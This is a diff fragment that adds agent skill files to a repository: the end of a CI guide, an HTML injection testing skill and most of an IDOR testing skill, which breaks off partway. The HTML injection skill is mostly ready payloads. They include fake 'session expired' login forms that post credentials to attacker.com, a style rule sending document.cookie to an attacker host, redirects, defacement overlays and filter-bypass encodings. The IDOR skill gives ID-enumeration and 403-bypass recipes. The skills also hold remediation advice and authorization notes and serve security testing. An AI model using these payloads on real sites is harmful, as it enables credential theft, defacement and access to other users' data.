||||
Dockerfile @org/devops-team
|
||||
|
||||
# Docs
|
||||
/docs/ @org/docs-team
|
||||
*.md @org/docs-team
|
||||
|
||||
# Security-sensitive
|
||||
/src/auth/ @org/security-team
|
||||
/src/crypto/ @org/security-team
|
||||
```
|
||||
|
||||
### 6.2 Branch Protection
|
||||
|
||||
```yaml
|
||||
# Set up via GitHub API
|
||||
- name: Configure branch protection
|
||||
uses: actions/github-script@v7
|
||||
with:
|
||||
script: |
|
||||
await github.rest.repos.updateBranchProtection({
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
branch: 'main',
|
||||
required_status_checks: {
|
||||
strict: true,
|
||||
contexts: ['test', 'lint', 'ai-review']
|
||||
},
|
||||
enforce_admins: true,
|
||||
required_pull_request_reviews: {
|
||||
required_approving_review_count: 1,
|
||||
require_code_owner_reviews: true,
|
||||
dismiss_stale_reviews: true
|
||||
},
|
||||
restrictions: null,
|
||||
required_linear_history: true,
|
||||
allow_force_pushes: false,
|
||||
allow_deletions: false
|
||||
});
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Best Practices
|
||||
|
||||
### Security
|
||||
|
||||
- [ ] Store API keys in GitHub Secrets
|
||||
- [ ] Use minimal permissions in workflows
|
||||
- [ ] Validate all inputs
|
||||
- [ ] Don't expose sensitive data in logs
|
||||
|
||||
### Performance
|
||||
|
||||
- [ ] Cache dependencies
|
||||
- [ ] Use matrix builds for parallel testing
|
||||
- [ ] Skip unnecessary jobs with path filters
|
||||
- [ ] Use self-hosted runners for heavy workloads
|
||||
|
||||
### Reliability
|
||||
|
||||
- [ ] Add timeouts to jobs
|
||||
- [ ] Handle rate limits gracefully
|
||||
- [ ] Implement retry logic
|
||||
- [ ] Have rollback procedures
|
||||
|
||||
---
|
||||
|
||||
## Resources
|
||||
|
||||
- [Gemini CLI GitHub Action](https://github.com/google-github-actions/run-gemini-cli)
|
||||
- [GitHub Actions Documentation](https://docs.github.com/en/actions)
|
||||
- [GitHub REST API](https://docs.github.com/en/rest)
|
||||
- [CODEOWNERS Syntax](https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners)
|
||||
495
skills/html-injection-testing/SKILL.md
Normal file
495
skills/html-injection-testing/SKILL.md
Normal file
@@ -0,0 +1,495 @@
|
||||
---
|
||||
name: HTML Injection Testing
|
||||
description: This skill should be used when the user asks to "test for HTML injection", "inject HTML into web pages", "perform HTML injection attacks", "deface web applications", or "test content injection vulnerabilities". It provides comprehensive HTML injection attack techniques and testing methodologies.
|
||||
---
|
||||
|
||||
# HTML Injection Testing
|
||||
|
||||
## Purpose
|
||||
|
||||
Identify and exploit HTML injection vulnerabilities that allow attackers to inject malicious HTML content into web applications. This vulnerability enables attackers to modify page appearance, create phishing pages, and steal user credentials through injected forms.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
### Required Tools
|
||||
- Web browser with developer tools
|
||||
- Burp Suite or OWASP ZAP
|
||||
- Tamper Data or similar proxy
|
||||
- cURL for testing payloads
|
||||
|
||||
### Required Knowledge
|
||||
- HTML fundamentals
|
||||
- HTTP request/response structure
|
||||
- Web application input handling
|
||||
- Difference between HTML injection and XSS
|
||||
|
||||
## Outputs and Deliverables
|
||||
|
||||
1. **Vulnerability Report** - Identified injection points
|
||||
2. **Exploitation Proof** - Demonstrated content manipulation
|
||||
3. **Impact Assessment** - Potential phishing and defacement risks
|
||||
4. **Remediation Guidance** - Input validation recommendations
|
||||
|
||||
## Core Workflow
|
||||
|
||||
### Phase 1: Understanding HTML Injection
|
||||
|
||||
HTML injection occurs when user input is reflected in web pages without proper sanitization:
|
||||
|
||||
```html
|
||||
<!-- Vulnerable code example -->
|
||||
<div>
|
||||
Welcome, <?php echo $_GET['name']; ?>
|
||||
</div>
|
||||
|
||||
<!-- Attack input -->
|
||||
?name=<h1>Injected Content</h1>
|
||||
|
||||
<!-- Rendered output -->
|
||||
<div>
|
||||
Welcome, <h1>Injected Content</h1>
|
||||
</div>
|
||||
```
|
||||
|
||||
Key differences from XSS:
|
||||
- HTML injection: Only HTML tags are rendered
|
||||
- XSS: JavaScript code is executed
|
||||
- HTML injection is often stepping stone to XSS
|
||||
|
||||
Attack goals:
|
||||
- Modify website appearance (defacement)
|
||||
- Create fake login forms (phishing)
|
||||
- Inject malicious links
|
||||
- Display misleading content
|
||||
|
||||
### Phase 2: Identifying Injection Points
|
||||
|
||||
Map application for potential injection surfaces:
|
||||
|
||||
```
|
||||
1. Search bars and search results
|
||||
2. Comment sections
|
||||
3. User profile fields
|
||||
4. Contact forms and feedback
|
||||
5. Registration forms
|
||||
6. URL parameters reflected on page
|
||||
7. Error messages
|
||||
8. Page titles and headers
|
||||
9. Hidden form fields
|
||||
10. Cookie values reflected on page
|
||||
```
|
||||
|
||||
Common vulnerable parameters:
|
||||
```
|
||||
?name=
|
||||
?user=
|
||||
?search=
|
||||
?query=
|
||||
?message=
|
||||
?title=
|
||||
?content=
|
||||
?redirect=
|
||||
?url=
|
||||
?page=
|
||||
```
|
||||
|
||||
### Phase 3: Basic HTML Injection Testing
|
||||
|
||||
Test with simple HTML tags:
|
||||
|
||||
```html
|
||||
<!-- Basic text formatting -->
|
||||
<h1>Test Injection</h1>
|
||||
<b>Bold Text</b>
|
||||
<i>Italic Text</i>
|
||||
<u>Underlined Text</u>
|
||||
<font color="red">Red Text</font>
|
||||
|
||||
<!-- Structural elements -->
|
||||
<div style="background:red;color:white;padding:10px">Injected DIV</div>
|
||||
<p>Injected paragraph</p>
|
||||
<br><br><br>Line breaks
|
||||
|
||||
<!-- Links -->
|
||||
<a href="http://attacker.com">Click Here</a>
|
||||
<a href="http://attacker.com">Legitimate Link</a>
|
||||
|
||||
<!-- Images -->
|
||||
<img src="http://attacker.com/image.png">
|
||||
<img src="x" onerror="alert(1)"> <!-- XSS attempt -->
|
||||
```
|
||||
|
||||
Testing workflow:
|
||||
```bash
|
||||
# Test basic injection
|
||||
curl "http://target.com/search?q=<h1>Test</h1>"
|
||||
|
||||
# Check if HTML renders in response
|
||||
curl -s "http://target.com/search?q=<b>Bold</b>" | grep -i "bold"
|
||||
|
||||
# Test in URL-encoded form
|
||||
curl "http://target.com/search?q=%3Ch1%3ETest%3C%2Fh1%3E"
|
||||
```
|
||||
|
||||
### Phase 4: Types of HTML Injection
|
||||
|
||||
#### Stored HTML Injection
|
||||
|
||||
Payload persists in database:
|
||||
|
||||
```html
|
||||
<!-- Profile bio injection -->
|
||||
Name: John Doe
|
||||
Bio: <div style="position:absolute;top:0;left:0;width:100%;height:100%;background:white;">
|
||||
<h1>Site Under Maintenance</h1>
|
||||
<p>Please login at <a href="http://attacker.com/login">portal.company.com</a></p>
|
||||
</div>
|
||||
|
||||
<!-- Comment injection -->
|
||||
Great article!
|
||||
<form action="http://attacker.com/steal" method="POST">
|
||||
<input name="username" placeholder="Session expired. Enter username:">
|
||||
<input name="password" type="password" placeholder="Password:">
|
||||
<input type="submit" value="Login">
|
||||
</form>
|
||||
```
|
||||
|
||||
#### Reflected GET Injection
|
||||
|
||||
Payload in URL parameters:
|
||||
|
||||
```html
|
||||
<!-- URL injection -->
|
||||
http://target.com/welcome?name=<h1>Welcome%20Admin</h1><form%20action="http://attacker.com/steal">
|
||||
|
||||
<!-- Search result injection -->
|
||||
http://target.com/search?q=<marquee>Your%20account%20has%20been%20compromised</marquee>
|
||||
```
|
||||
|
||||
#### Reflected POST Injection
|
||||
|
||||
Payload in POST data:
|
||||
|
||||
```bash
|
||||
# POST injection test
|
||||
curl -X POST -d "comment=<div style='color:red'>Malicious Content</div>" \
|
||||
http://target.com/submit
|
||||
|
||||
# Form field injection
|
||||
curl -X POST -d "name=<script>alert(1)</script>&email=test@test.com" \
|
||||
http://target.com/register
|
||||
```
|
||||
|
||||
#### URL-Based Injection
|
||||
|
||||
Inject into displayed URLs:
|
||||
|
||||
```html
|
||||
<!-- If URL is displayed on page -->
|
||||
http://target.com/page/<h1>Injected</h1>
|
||||
|
||||
<!-- Path-based injection -->
|
||||
http://target.com/users/<img src=x>/profile
|
||||
```
|
||||
|
||||
### Phase 5: Phishing Attack Construction
|
||||
|
||||
Create convincing phishing forms:
|
||||
|
||||
```html
|
||||
<!-- Fake login form overlay -->
|
||||
<div style="position:fixed;top:0;left:0;width:100%;height:100%;
|
||||
background:white;z-index:9999;padding:50px;">
|
||||
<h2>Session Expired</h2>
|
||||
<p>Your session has expired. Please log in again.</p>
|
||||
<form action="http://attacker.com/capture" method="POST">
|
||||
<label>Username:</label><br>
|
||||
<input type="text" name="username" style="width:200px;"><br><br>
|
||||
<label>Password:</label><br>
|
||||
<input type="password" name="password" style="width:200px;"><br><br>
|
||||
<input type="submit" value="Login">
|
||||
</form>
|
||||
</div>
|
||||
|
||||
<!-- Hidden credential stealer -->
|
||||
<style>
|
||||
input { background: url('http://attacker.com/log?data=') }
|
||||
</style>
|
||||
<form action="http://attacker.com/steal" method="POST">
|
||||
<input name="user" placeholder="Verify your username">
|
||||
<input name="pass" type="password" placeholder="Verify your password">
|
||||
<button>Verify</button>
|
||||
</form>
|
||||
```
|
||||
|
||||
URL-encoded phishing link:
|
||||
```
|
||||
http://target.com/page?msg=%3Cdiv%20style%3D%22position%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A100%25%3Bheight%3A100%25%3Bbackground%3Awhite%3Bz-index%3A9999%3Bpadding%3A50px%3B%22%3E%3Ch2%3ESession%20Expired%3C%2Fh2%3E%3Cform%20action%3D%22http%3A%2F%2Fattacker.com%2Fcapture%22%3E%3Cinput%20name%3D%22user%22%20placeholder%3D%22Username%22%3E%3Cinput%20name%3D%22pass%22%20type%3D%22password%22%3E%3Cbutton%3ELogin%3C%2Fbutton%3E%3C%2Fform%3E%3C%2Fdiv%3E
|
||||
```
|
||||
|
||||
### Phase 6: Defacement Payloads
|
||||
|
||||
Website appearance manipulation:
|
||||
|
||||
```html
|
||||
<!-- Full page overlay -->
|
||||
<div style="position:fixed;top:0;left:0;width:100%;height:100%;
|
||||
background:#000;color:#0f0;z-index:9999;
|
||||
display:flex;justify-content:center;align-items:center;">
|
||||
<h1>HACKED BY SECURITY TESTER</h1>
|
||||
</div>
|
||||
|
||||
<!-- Content replacement -->
|
||||
<style>body{display:none}</style>
|
||||
<body style="display:block !important">
|
||||
<h1>This site has been compromised</h1>
|
||||
</body>
|
||||
|
||||
<!-- Image injection -->
|
||||
<img src="http://attacker.com/defaced.jpg"
|
||||
style="position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999">
|
||||
|
||||
<!-- Marquee injection (visible movement) -->
|
||||
<marquee behavior="alternate" style="font-size:50px;color:red;">
|
||||
SECURITY VULNERABILITY DETECTED
|
||||
</marquee>
|
||||
```
|
||||
|
||||
### Phase 7: Advanced Injection Techniques
|
||||
|
||||
#### CSS Injection
|
||||
|
||||
```html
|
||||
<!-- Style injection -->
|
||||
<style>
|
||||
body { background: url('http://attacker.com/track?cookie='+document.cookie) }
|
||||
.content { display: none }
|
||||
.fake-content { display: block }
|
||||
</style>
|
||||
|
||||
<!-- Inline style injection -->
|
||||
<div style="background:url('http://attacker.com/log')">Content</div>
|
||||
```
|
||||
|
||||
#### Meta Tag Injection
|
||||
|
||||
```html
|
||||
<!-- Redirect via meta refresh -->
|
||||
<meta http-equiv="refresh" content="0;url=http://attacker.com/phish">
|
||||
|
||||
<!-- CSP bypass attempt -->
|
||||
<meta http-equiv="Content-Security-Policy" content="default-src *">
|
||||
```
|
||||
|
||||
#### Form Action Override
|
||||
|
||||
```html
|
||||
<!-- Hijack existing form -->
|
||||
<form action="http://attacker.com/steal">
|
||||
|
||||
<!-- If form already exists, add input -->
|
||||
<input type="hidden" name="extra" value="data">
|
||||
</form>
|
||||
```
|
||||
|
||||
#### iframe Injection
|
||||
|
||||
```html
|
||||
<!-- Embed external content -->
|
||||
<iframe src="http://attacker.com/malicious" width="100%" height="500"></iframe>
|
||||
|
||||
<!-- Invisible tracking iframe -->
|
||||
<iframe src="http://attacker.com/track" style="display:none"></iframe>
|
||||
```
|
||||
|
||||
### Phase 8: Bypass Techniques
|
||||
|
||||
Evade basic filters:
|
||||
|
||||
```html
|
||||
<!-- Case variations -->
|
||||
<H1>Test</H1>
|
||||
<ScRiPt>alert(1)</ScRiPt>
|
||||
|
||||
<!-- Encoding variations -->
|
||||
<h1>Encoded</h1>
|
||||
%3Ch1%3EURL%20Encoded%3C%2Fh1%3E
|
||||
|
||||
<!-- Tag splitting -->
|
||||
<h
|
||||
1>Split Tag</h1>
|
||||
|
||||
<!-- Null bytes -->
|
||||
<h1%00>Null Byte</h1>
|
||||
|
||||
<!-- Double encoding -->
|
||||
%253Ch1%253EDouble%2520Encoded%253C%252Fh1%253E
|
||||
|
||||
<!-- Unicode encoding -->
|
||||
\u003ch1\u003eUnicode\u003c/h1\u003e
|
||||
|
||||
<!-- Attribute-based -->
|
||||
<div onmouseover="alert(1)">Hover me</div>
|
||||
<img src=x onerror=alert(1)>
|
||||
```
|
||||
|
||||
### Phase 9: Automated Testing
|
||||
|
||||
#### Using Burp Suite
|
||||
|
||||
```
|
||||
1. Capture request with potential injection point
|
||||
2. Send to Intruder
|
||||
3. Mark parameter value as payload position
|
||||
4. Load HTML injection wordlist
|
||||
5. Start attack
|
||||
6. Filter responses for rendered HTML
|
||||
7. Manually verify successful injections
|
||||
```
|
||||
|
||||
#### Using OWASP ZAP
|
||||
|
||||
```
|
||||
1. Spider the target application
|
||||
2. Active Scan with HTML injection rules
|
||||
3. Review Alerts for injection findings
|
||||
4. Validate findings manually
|
||||
```
|
||||
|
||||
#### Custom Fuzzing Script
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import requests
|
||||
import urllib.parse
|
||||
|
||||
target = "http://target.com/search"
|
||||
param = "q"
|
||||
|
||||
payloads = [
|
||||
"<h1>Test</h1>",
|
||||
"<b>Bold</b>",
|
||||
"<script>alert(1)</script>",
|
||||
"<img src=x onerror=alert(1)>",
|
||||
"<a href='http://evil.com'>Click</a>",
|
||||
"<div style='color:red'>Styled</div>",
|
||||
"<marquee>Moving</marquee>",
|
||||
"<iframe src='http://evil.com'></iframe>",
|
||||
]
|
||||
|
||||
for payload in payloads:
|
||||
encoded = urllib.parse.quote(payload)
|
||||
url = f"{target}?{param}={encoded}"
|
||||
|
||||
try:
|
||||
response = requests.get(url, timeout=5)
|
||||
if payload.lower() in response.text.lower():
|
||||
print(f"[+] Possible injection: {payload}")
|
||||
elif "<h1>" in response.text or "<b>" in response.text:
|
||||
print(f"[?] Partial reflection: {payload}")
|
||||
except Exception as e:
|
||||
print(f"[-] Error: {e}")
|
||||
```
|
||||
|
||||
### Phase 10: Prevention and Remediation
|
||||
|
||||
Secure coding practices:
|
||||
|
||||
```php
|
||||
// PHP: Escape output
|
||||
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
|
||||
|
||||
// PHP: Strip tags
|
||||
echo strip_tags($user_input);
|
||||
|
||||
// PHP: Allow specific tags only
|
||||
echo strip_tags($user_input, '<p><b><i>');
|
||||
```
|
||||
|
||||
```python
|
||||
# Python: HTML escape
|
||||
from html import escape
|
||||
safe_output = escape(user_input)
|
||||
|
||||
# Python Flask: Auto-escaping
|
||||
{{ user_input }} # Jinja2 escapes by default
|
||||
{{ user_input | safe }} # Marks as safe (dangerous!)
|
||||
```
|
||||
|
||||
```javascript
|
||||
// JavaScript: Text content (safe)
|
||||
element.textContent = userInput;
|
||||
|
||||
// JavaScript: innerHTML (dangerous!)
|
||||
element.innerHTML = userInput; // Vulnerable!
|
||||
|
||||
// JavaScript: Sanitize
|
||||
const clean = DOMPurify.sanitize(userInput);
|
||||
element.innerHTML = clean;
|
||||
```
|
||||
|
||||
Server-side protections:
|
||||
- Input validation (whitelist allowed characters)
|
||||
- Output encoding (context-aware escaping)
|
||||
- Content Security Policy (CSP) headers
|
||||
- Web Application Firewall (WAF) rules
|
||||
|
||||
## Quick Reference
|
||||
|
||||
### Common Test Payloads
|
||||
|
||||
| Payload | Purpose |
|
||||
|---------|---------|
|
||||
| `<h1>Test</h1>` | Basic rendering test |
|
||||
| `<b>Bold</b>` | Simple formatting |
|
||||
| `<a href="evil.com">Link</a>` | Link injection |
|
||||
| `<img src=x>` | Image tag test |
|
||||
| `<div style="color:red">` | Style injection |
|
||||
| `<form action="evil.com">` | Form hijacking |
|
||||
|
||||
### Injection Contexts
|
||||
|
||||
| Context | Test Approach |
|
||||
|---------|---------------|
|
||||
| URL parameter | `?param=<h1>test</h1>` |
|
||||
| Form field | POST with HTML payload |
|
||||
| Cookie value | Inject via document.cookie |
|
||||
| HTTP header | Inject in Referer/User-Agent |
|
||||
| File upload | HTML file with malicious content |
|
||||
|
||||
### Encoding Types
|
||||
|
||||
| Type | Example |
|
||||
|------|---------|
|
||||
| URL encoding | `%3Ch1%3E` = `<h1>` |
|
||||
| HTML entities | `<h1>` = `<h1>` |
|
||||
| Double encoding | `%253C` = `<` |
|
||||
| Unicode | `\u003c` = `<` |
|
||||
|
||||
## Constraints and Limitations
|
||||
|
||||
### Attack Limitations
|
||||
- Modern browsers may sanitize some injections
|
||||
- CSP can prevent inline styles and scripts
|
||||
- WAFs may block common payloads
|
||||
- Some applications escape output properly
|
||||
|
||||
### Testing Considerations
|
||||
- Distinguish between HTML injection and XSS
|
||||
- Verify visual impact in browser
|
||||
- Test in multiple browsers
|
||||
- Check for stored vs reflected
|
||||
|
||||
### Severity Assessment
|
||||
- Lower severity than XSS (no script execution)
|
||||
- Higher impact when combined with phishing
|
||||
- Consider defacement/reputation damage
|
||||
- Evaluate credential theft potential
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
| Issue | Solutions |
|
||||
|-------|-----------|
|
||||
| HTML not rendering | Check if output HTML-encoded; try encoding variations; verify HTML context |
|
||||
| Payload stripped | Use encoding variations; try tag splitting; test null bytes; nested tags |
|
||||
| XSS not working (HTML only) | JS filtered but HTML allowed; leverage phishing forms, meta refresh redirects |
|
||||
439
skills/idor-testing/SKILL.md
Normal file
439
skills/idor-testing/SKILL.md
Normal file
@@ -0,0 +1,439 @@
|
||||
---
|
||||
name: IDOR Vulnerability Testing
|
||||
description: This skill should be used when the user asks to "test for insecure direct object references," "find IDOR vulnerabilities," "exploit broken access control," "enumerate user IDs or object references," or "bypass authorization to access other users' data." It provides comprehensive guidance for detecting, exploiting, and remediating IDOR vulnerabilities in web applications.
|
||||
---
|
||||
|
||||
# IDOR Vulnerability Testing
|
||||
|
||||
## Purpose
|
||||
|
||||
Provide systematic methodologies for identifying and exploiting Insecure Direct Object Reference (IDOR) vulnerabilities in web applications. This skill covers both database object references and static file references, detection techniques using parameter manipulation and enumeration, exploitation via Burp Suite, and remediation strategies for securing applications against unauthorized access.
|
||||
|
||||
## Inputs / Prerequisites
|
||||
|
||||
- **Target Web Application**: URL of application with user-specific resources
|
||||
- **Multiple User Accounts**: At least two test accounts to verify cross-user access
|
||||
- **Burp Suite or Proxy Tool**: Intercepting proxy for request manipulation
|
||||
- **Authorization**: Written permission for security testing
|
||||
- **Understanding of Application Flow**: Knowledge of how objects are referenced (IDs, filenames)
|
||||
|
||||
## Outputs / Deliverables
|
||||
|
||||
- **IDOR Vulnerability Report**: Documentation of discovered access control bypasses
|
||||
- **Proof of Concept**: Evidence of unauthorized data access across user contexts
|
||||
- **Affected Endpoints**: List of vulnerable API endpoints and parameters
|
||||
- **Impact Assessment**: Classification of data exposure severity
|
||||
- **Remediation Recommendations**: Specific fixes for identified vulnerabilities
|
||||
|
||||
## Core Workflow
|
||||
|
||||
### 1. Understand IDOR Vulnerability Types
|
||||
|
||||
#### Direct Reference to Database Objects
|
||||
Occurs when applications reference database records via user-controllable parameters:
|
||||
```
|
||||
# Original URL (authenticated as User A)
|
||||
example.com/user/profile?id=2023
|
||||
|
||||
# Manipulation attempt (accessing User B's data)
|
||||
example.com/user/profile?id=2022
|
||||
```
|
||||
|
||||
#### Direct Reference to Static Files
|
||||
Occurs when applications expose file paths or names that can be enumerated:
|
||||
```
|
||||
# Original URL (User A's receipt)
|
||||
example.com/static/receipt/205.pdf
|
||||
|
||||
# Manipulation attempt (User B's receipt)
|
||||
example.com/static/receipt/200.pdf
|
||||
```
|
||||
|
||||
### 2. Reconnaissance and Setup
|
||||
|
||||
#### Create Multiple Test Accounts
|
||||
```
|
||||
Account 1: "attacker" - Primary testing account
|
||||
Account 2: "victim" - Account whose data we attempt to access
|
||||
```
|
||||
|
||||
#### Identify Object References
|
||||
Capture and analyze requests containing:
|
||||
- Numeric IDs in URLs: `/api/user/123`
|
||||
- Numeric IDs in parameters: `?id=123&action=view`
|
||||
- Numeric IDs in request body: `{"userId": 123}`
|
||||
- File paths: `/download/receipt_123.pdf`
|
||||
- GUIDs/UUIDs: `/profile/a1b2c3d4-e5f6-...`
|
||||
|
||||
#### Map User IDs
|
||||
```
|
||||
# Access user ID endpoint (if available)
|
||||
GET /api/user-id/
|
||||
|
||||
# Note ID patterns:
|
||||
# - Sequential integers (1, 2, 3...)
|
||||
# - Auto-incremented values
|
||||
# - Predictable patterns
|
||||
```
|
||||
|
||||
### 3. Detection Techniques
|
||||
|
||||
#### URL Parameter Manipulation
|
||||
```
|
||||
# Step 1: Capture original authenticated request
|
||||
GET /api/user/profile?id=1001 HTTP/1.1
|
||||
Cookie: session=attacker_session
|
||||
|
||||
# Step 2: Modify ID to target another user
|
||||
GET /api/user/profile?id=1000 HTTP/1.1
|
||||
Cookie: session=attacker_session
|
||||
|
||||
# Vulnerable if: Returns victim's data with attacker's session
|
||||
```
|
||||
|
||||
#### Request Body Manipulation
|
||||
```
|
||||
# Original POST request
|
||||
POST /api/address/update HTTP/1.1
|
||||
Content-Type: application/json
|
||||
Cookie: session=attacker_session
|
||||
|
||||
{"id": 5, "userId": 1001, "address": "123 Attacker St"}
|
||||
|
||||
# Modified request targeting victim
|
||||
{"id": 5, "userId": 1000, "address": "123 Attacker St"}
|
||||
```
|
||||
|
||||
#### HTTP Method Switching
|
||||
```
|
||||
# Original GET request may be protected
|
||||
GET /api/admin/users/1000 → 403 Forbidden
|
||||
|
||||
# Try alternative methods
|
||||
POST /api/admin/users/1000 → 200 OK (Vulnerable!)
|
||||
PUT /api/admin/users/1000 → 200 OK (Vulnerable!)
|
||||
```
|
||||
|
||||
### 4. Exploitation with Burp Suite
|
||||
|
||||
#### Manual Exploitation
|
||||
```
|
||||
1. Configure browser proxy through Burp Suite
|
||||
2. Login as "attacker" user
|
||||
3. Navigate to profile/data page
|
||||
4. Enable Intercept in Proxy tab
|
||||
5. Capture request with user ID
|
||||
6. Modify ID to victim's ID
|
||||
7. Forward request
|
||||
8. Observe response for victim's data
|
||||
```
|
||||
|
||||
#### Automated Enumeration with Intruder
|
||||
```
|
||||
1. Send request to Intruder (Ctrl+I)
|
||||
2. Clear all payload positions
|
||||
3. Select ID parameter as payload position
|
||||
4. Configure attack type: Sniper
|
||||
5. Payload settings:
|
||||
- Type: Numbers
|
||||
- Range: 1 to 10000
|
||||
- Step: 1
|
||||
6. Start attack
|
||||
7. Analyze responses for 200 status codes
|
||||
```
|
||||
|
||||
#### Battering Ram Attack for Multiple Positions
|
||||
```
|
||||
# When same ID appears in multiple locations
|
||||
PUT /api/addresses/§5§/update HTTP/1.1
|
||||
|
||||
{"id": §5§, "userId": 3}
|
||||
|
||||
Attack Type: Battering Ram
|
||||
Payload: Numbers 1-1000
|
||||
```
|
||||
|
||||
### 5. Common IDOR Locations
|
||||
|
||||
#### API Endpoints
|
||||
```
|
||||
/api/user/{id}
|
||||
/api/profile/{id}
|
||||
/api/order/{id}
|
||||
/api/invoice/{id}
|
||||
/api/document/{id}
|
||||
/api/message/{id}
|
||||
/api/address/{id}/update
|
||||
/api/address/{id}/delete
|
||||
```
|
||||
|
||||
#### File Downloads
|
||||
```
|
||||
/download/invoice_{id}.pdf
|
||||
/static/receipts/{id}.pdf
|
||||
/uploads/documents/{filename}
|
||||
/files/reports/report_{date}_{id}.xlsx
|
||||
```
|
||||
|
||||
#### Query Parameters
|
||||
```
|
||||
?userId=123
|
||||
?orderId=456
|
||||
?documentId=789
|
||||
?file=report_123.pdf
|
||||
?account=user@email.com
|
||||
```
|
||||
|
||||
## Quick Reference
|
||||
|
||||
### IDOR Testing Checklist
|
||||
|
||||
| Test | Method | Indicator of Vulnerability |
|
||||
|------|--------|---------------------------|
|
||||
| Increment/Decrement ID | Change `id=5` to `id=4` | Returns different user's data |
|
||||
| Use Victim's ID | Replace with known victim ID | Access granted to victim's resources |
|
||||
| Enumerate Range | Test IDs 1-1000 | Find valid records of other users |
|
||||
| Negative Values | Test `id=-1` or `id=0` | Unexpected data or errors |
|
||||
| Large Values | Test `id=99999999` | System information disclosure |
|
||||
| String IDs | Change format `id=user_123` | Logic bypass |
|
||||
| GUID Manipulation | Modify UUID portions | Predictable UUID patterns |
|
||||
|
||||
### Response Analysis
|
||||
|
||||
| Status Code | Interpretation |
|
||||
|-------------|----------------|
|
||||
| 200 OK | Potential IDOR - verify data ownership |
|
||||
| 403 Forbidden | Access control working |
|
||||
| 404 Not Found | Resource doesn't exist |
|
||||
| 401 Unauthorized | Authentication required |
|
||||
| 500 Error | Potential input validation issue |
|
||||
|
||||
### Common Vulnerable Parameters
|
||||
|
||||
| Parameter Type | Examples |
|
||||
|----------------|----------|
|
||||
| User identifiers | `userId`, `uid`, `user_id`, `account` |
|
||||
| Resource identifiers | `id`, `pid`, `docId`, `fileId` |
|
||||
| Order/Transaction | `orderId`, `transactionId`, `invoiceId` |
|
||||
| Message/Communication | `messageId`, `threadId`, `chatId` |
|
||||
| File references | `filename`, `file`, `document`, `path` |
|
||||
|
||||
## Constraints and Limitations
|
||||
|
||||
### Operational Boundaries
|
||||
- Requires at least two valid user accounts for verification
|
||||
- Some applications use session-bound tokens instead of IDs
|
||||
- GUID/UUID references harder to enumerate but not impossible
|
||||
- Rate limiting may restrict enumeration attempts
|
||||
- Some IDOR requires chained vulnerabilities to exploit
|
||||
|
||||
### Detection Challenges
|
||||
- Horizontal privilege escalation (user-to-user) vs vertical (user-to-admin)
|
||||
- Blind IDOR where response doesn't confirm access
|
||||
- Time-based IDOR in asynchronous operations
|
||||
- IDOR in websocket communications
|
||||
|
||||
### Legal Requirements
|
||||
- Only test applications with explicit authorization
|
||||
- Document all testing activities and findings
|
||||
- Do not access, modify, or exfiltrate real user data
|
||||
- Report findings through proper disclosure channels
|
||||
|
||||
## Examples
|
||||
|
||||
### Example 1: Basic ID Parameter IDOR
|
||||
```
|
||||
# Login as attacker (userId=1001)
|
||||
# Navigate to profile page
|
||||
|
||||
# Original request
|
||||
GET /api/profile?id=1001 HTTP/1.1
|
||||
Cookie: session=abc123
|
||||
|
||||
# Response: Attacker's profile data
|
||||
|
||||
# Modified request (targeting victim userId=1000)
|
||||
GET /api/profile?id=1000 HTTP/1.1
|
||||
Cookie: session=abc123
|
||||
|
||||
# Vulnerable Response: Victim's profile data returned!
|
||||
```
|
||||
|
||||
### Example 2: IDOR in Address Update Endpoint
|
||||
```
|
||||
# Intercept address update request
|
||||
PUT /api/addresses/5/update HTTP/1.1
|
||||
Content-Type: application/json
|
||||
Cookie: session=attacker_session
|
||||
|
||||
{
|
||||
"id": 5,
|
||||
"userId": 1001,
|
||||
"street": "123 Main St",
|
||||
"city": "Test City"
|
||||
}
|
||||
|
||||
# Modify userId to victim's ID
|
||||
{
|
||||
"id": 5,
|
||||
"userId": 1000, # Changed from 1001
|
||||
"street": "Hacked Address",
|
||||
"city": "Exploit City"
|
||||
}
|
||||
|
||||
# If 200 OK: Address created under victim's account
|
||||
```
|
||||
|
||||
### Example 3: Static File IDOR
|
||||
```
|
||||
# Download own receipt
|
||||
GET /api/download/5 HTTP/1.1
|
||||
Cookie: session=attacker_session
|
||||
|
||||
# Response: PDF of attacker's receipt (order #5)
|
||||
|
||||
# Attempt to access other receipts
|
||||
GET /api/download/3 HTTP/1.1
|
||||
Cookie: session=attacker_session
|
||||
|
||||
# Vulnerable Response: PDF of victim's receipt (order #3)!
|
||||
```
|
||||
|
||||
### Example 4: Burp Intruder Enumeration
|
||||
```
|
||||
# Configure Intruder attack
|
||||
Target: PUT /api/addresses/§1§/update
|
||||
Payload Position: Address ID in URL and body
|
||||
|
||||
Attack Configuration:
|
||||
- Type: Battering Ram
|
||||
- Payload: Numbers 0-20, Step 1
|
||||
|
||||
Body Template:
|
||||
{
|
||||
"id": §1§,
|
||||
"userId": 3
|
||||
}
|
||||
|
||||
# Analyze results:
|
||||
# - 200 responses indicate successful modification
|
||||
# - Check victim's account for new addresses
|
||||
```
|
||||
|
||||
### Example 5: Horizontal to Vertical Escalation
|
||||
```
|
||||
# Step 1: Enumerate user roles
|
||||
GET /api/user/1 → {"role": "user", "id": 1}
|
||||
GET /api/user/2 → {"role": "user", "id": 2}
|
||||
GET /api/user/3 → {"role": "admin", "id": 3}
|
||||
|
||||
# Step 2: Access admin functions with discovered ID
|
||||
GET /api/admin/dashboard?userId=3 HTTP/1.1
|
||||
Cookie: session=regular_user_session
|
||||
|
||||
# If accessible: Vertical privilege escalation achieved
|
||||
```
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### Issue: All Requests Return 403 Forbidden
|
||||
**Cause**: Server-side access control is implemented
|
||||
**Solution**:
|
||||
```
|
||||
# Try alternative attack vectors:
|
||||
1. HTTP method switching (GET → POST → PUT)
|
||||
2. Add X-Original-URL or X-Rewrite-URL headers
|
||||
3. Try parameter pollution: ?id=1001&id=1000
|
||||
4. URL encoding variations: %31%30%30%30 for "1000"
|
||||
5. Case variations for string IDs
|
||||
```
|
||||
|
||||
### Issue: Application Uses UUIDs Instead of Sequential IDs
|
